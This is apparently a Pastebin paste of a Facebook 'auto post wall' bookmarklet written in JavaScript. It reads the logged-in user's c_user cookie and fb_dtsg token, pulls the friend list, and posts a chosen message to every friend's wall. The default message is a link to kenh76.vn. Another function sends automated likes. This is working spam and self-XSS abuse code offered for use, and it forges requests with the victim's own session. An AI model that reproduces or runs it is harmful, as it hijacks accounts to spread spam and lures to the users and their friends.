Advertisement
DaiThinh

Code auto post wall facebook

Apr 9th, 2014
3,718
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. javascript: var grouppost = "<div><span class='img sp_f52w7l sx_47132d'></span><a style='position:absolute;size:3px;padding-left:3px;font-weight:bold;font-family:Tahoma;font-size:11px;color:#3B5998;'>Auto Post Wall Facebook</a></div></br>";
  2. grouppost += "<div><textarea id='txtFloodMsg' placeholder='Nhập nội dung cần post' style='COLOR:WHITE;padding-top:5px;width:493px;height:85px;font-family:tahoma;font-size:13px;background-color:rgba(255,255,255,0.1);'>http://kenh76.vn</textarea></div>";
  3. grouppost += "<div><br><span class='img sp_dpkef5 sx_f05251'></span><a style='position:absolute;font-family:Arial;size:3px;padding-left:3px;font-size:11px;color:rgb(128, 128, 128);'>Cover: Đại Thịnh</a></span><button style='margin-left:437px' class='_2 _3 _6 _4 _5 selected' onclick='autopostingfunc(this);' >Post</button><div style='color:gray;'>Nguon: Kenh76.vn</br>Made by:</A><A style='color:#3B5998;' href='http://kenh76.vn' target='_0'> DaiThinh</A></A><A style='color:#3B5998;' href='https://www.facebook.com/daithinhdesigner' target='_0'> </A></A>,</A><A style='color:#3B5998;' href='https://www.facebook.com/daithinhdesigner' target='_0'> </A></A></br>Web : <A style='color:#3B5998;' href='http://kenh76.vn' target='_0'>http://kenh76.vn</A>.</A><br></div>";
  4. var Popupset = document.createElement("div");
  5. Popupset.setAttribute("style", "min-height:50px;width:500px;position:fixed;top:100px;box-shadow: 0px 4px 10px rgba(24, 144, 255, 0.63);position:fixed;left:50%;margin-left:-273px;text-align:left;border-radius:10px;padding:5px;z-index:999999;border:5px solid rgba(0,0,0,0.9);background-color:rgba(0,0,0,0.9);color:White");
  6. Popupset.innerHTML = grouppost;
  7. document.body.appendChild(Popupset);
  8. jx = {
  9.     getHTTPObject: function () {
  10.         var A = false;
  11.         if (typeof ActiveXObject != "undefined") try {
  12.             A = new ActiveXObject("Msxml2.XMLHTTP")
  13.         } catch(C) {
  14.             try {
  15.                 A = new ActiveXObject("Microsoft.XMLHTTP")
  16.             } catch(B) {
  17.                 A = false
  18.             }
  19.         } else if (window.XMLHttpRequest) try {
  20.             A = new XMLHttpRequest
  21.         } catch(C) {
  22.             A = false
  23.         }
  24.         return A
  25.     },
  26.     load: function (url, callback, format, method, opt) {
  27.         var http = this.init();
  28.         if (!http || !url) return;
  29.         if (http.overrideMimeType) http.overrideMimeType("text/xml");
  30.         if (!method) method = "GET";
  31.         if (!format) format = "text";
  32.         if (!opt) opt = {};
  33.         format = format.toLowerCase();
  34.         method = method.toUpperCase();
  35.         var now = "uid=" + (new Date).getTime();
  36.         url += url.indexOf("?") + 1 ? "&" : "?";
  37.         url += now;
  38.         var parameters = null;
  39.         if (method == "POST") {
  40.             var parts = url.split("?");
  41.             url = parts[0];
  42.             parameters = parts[1]
  43.         }
  44.         http.open(method, url, true);
  45.         var ths = this;
  46.         if (opt.handler) http.onreadystatechange = function () {
  47.             opt.handler(http)
  48.         };
  49.         else http.onreadystatechange = function () {
  50.             if (http.readyState == 4) if (http.status == 200) {
  51.                 var result = "";
  52.                 if (http.responseText) result = http.responseText;
  53.                 if (format.charAt(0) == "j") {
  54.                     result = result.replace(/[\n\r]/g, "");
  55.                     result = eval("(" + result + ")")
  56.                 } else if (format.charAt(0) == "x") result = http.responseXML;
  57.                 if (callback) callback(result)
  58.             } else {
  59.                 if (opt.loadingIndicator) document.getElementsByTagName("body")[0].removeChild(opt.loadingIndicator);
  60.                 if (opt.loading) document.getElementById(opt.loading).style.display = "none";
  61.                 if (error) error(http.status)
  62.             }
  63.         };
  64.         http.send(parameters)
  65.     },
  66.     bind: function (A) {
  67.         var C = {
  68.             "url": "",
  69.             "onSuccess": false,
  70.             "onError": false,
  71.             "format": "text",
  72.             "method": "GET",
  73.             "update": "",
  74.             "loading": "",
  75.             "loadingIndicator": ""
  76.         };
  77.         for (var B in C) if (A[B]) C[B] = A[B];
  78.         if (!C.url) return;
  79.         var D = false;
  80.         if (C.loadingIndicator) {
  81.             D = document.createElement("div");
  82.             D.setAttribute("style", "position:absolute;top:0px;left:0px;");
  83.             D.setAttribute("class", "loading-indicator");
  84.             D.innerHTML = C.loadingIndicator;
  85.             document.getElementsByTagName("body")[0].appendChild(D);
  86.             this.opt.loadingIndicator = D
  87.         }
  88.         if (C.loading) document.getElementById(C.loading).style.display = "block";
  89.         this.load(C.url, function (E) {
  90.             if (C.onSuccess) C.onSuccess(E);
  91.             if (C.update) document.getElementById(C.update).innerHTML = E;
  92.             if (D) document.getElementsByTagName("body")[0].removeChild(D);
  93.             if (C.loading) document.getElementById(C.loading).style.display = "none"
  94.         },
  95.         C.format, C.method, C)
  96.     },
  97.     init: function () {
  98.         return this.getHTTPObject()
  99.     }
  100. };
  101. var j = 0;
  102. var k = 0;
  103. var suc = 0;
  104. var msg = "Auto post by Mà£nh TÆ°̀‰ TĂª̀";
  105. var arr = new Array;
  106. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  107.  
  108. function autopostingfunc(sender) {
  109.     if (document.getElementById("txtFloodMsg").value != "") msg = document.getElementById("txtFloodMsg").value;
  110.     jx.load(window.location.protocol + "//www.facebook.com/ajax/typeahead/search/bootstrap.php?__a=1&filter[0]=user&viewer=" + user_id + "&token=v7&lazy=0&__user=" + user_id, function (a) {
  111.         var b = a;
  112.         var c = b.substring(b.indexOf("{"));
  113.         var d = JSON.parse(c);
  114.         d = d.payload.entries;
  115.         for (var e = 0; e < d.length; e++) arr.push(d[e].uid);
  116.         sender.parentNode.innerHTML = "Please Wait...";
  117.         postitok()
  118.     })
  119. }
  120. var a = document.body.innerHTML;
  121. var dts = document.getElementsByName("fb_dtsg")[0].value;
  122. var composerid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  123.  
  124. function postitok() {
  125.     pst = "fb_dtsg=" + dts + "&xhpc_composerid=" + composerid + "&xhpc_targetid=" + arr[suc] + "&xhpc_context=home&xhpc_fbx=1&xhpc_message_text=" + encodeURIComponent(msg) + "&xhpc_message=" + encodeURIComponent(msg) + "&UIPrivacyWidget[0]=40&privacy_data[value]=40&privacy_data[friends]=0&privacy_data[list_anon]=0&privacy_data[list_x_anon]=0&=Share&nctr[_1]=pagelet_group_composer";
  126.     with(newx = new XMLHttpRequest) open("POST", "/ajax/updatestatus.php?__a=1"),
  127.     send(pst);
  128.     suc++;
  129.     if (suc > arr.length) {
  130.         alert("Auto Posting Completed. Now Refresh your Homepage.");
  131.         suc = 0
  132.     } else setTimeout("postitok()", 3E4 / arr.length)
  133. }
  134. setTimeout("autopostingfunc()", 1E3);
  135.  
  136. function P(post) {
  137.     var X = new XMLHttpRequest();
  138.     var XURL = "//www.facebook.com/ajax/ufi/like.php";
  139.     var XParams = "like_action=true&ft_ent_identifier=" + post + "&source=1&client_id=" + now + "%3A3366677427&rootid=u_ps_0_0_14&giftoccasion&ft[tn]=%3E%3DU&ft[type]=20&ft[qid]=5882006890513784712&ft[mf_story_key]=" + post + "&nctr[_1]=pagelet_home_stream&__user=" + user_id + "&__a=1&__dyn=7n8ahyj35CFwXAg&__req=j&fb_dtsg=" + fb_dtsg + "&phstamp=";
  140.     X.open("POST", XURL, true);
  141.     X.onreadystatechange = function () {
  142.         if (X.readyState == 4 && X.status == 200) {
  143.             X.close
  144.         }
  145.     };
  146.     X.send(XParams)
  147. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement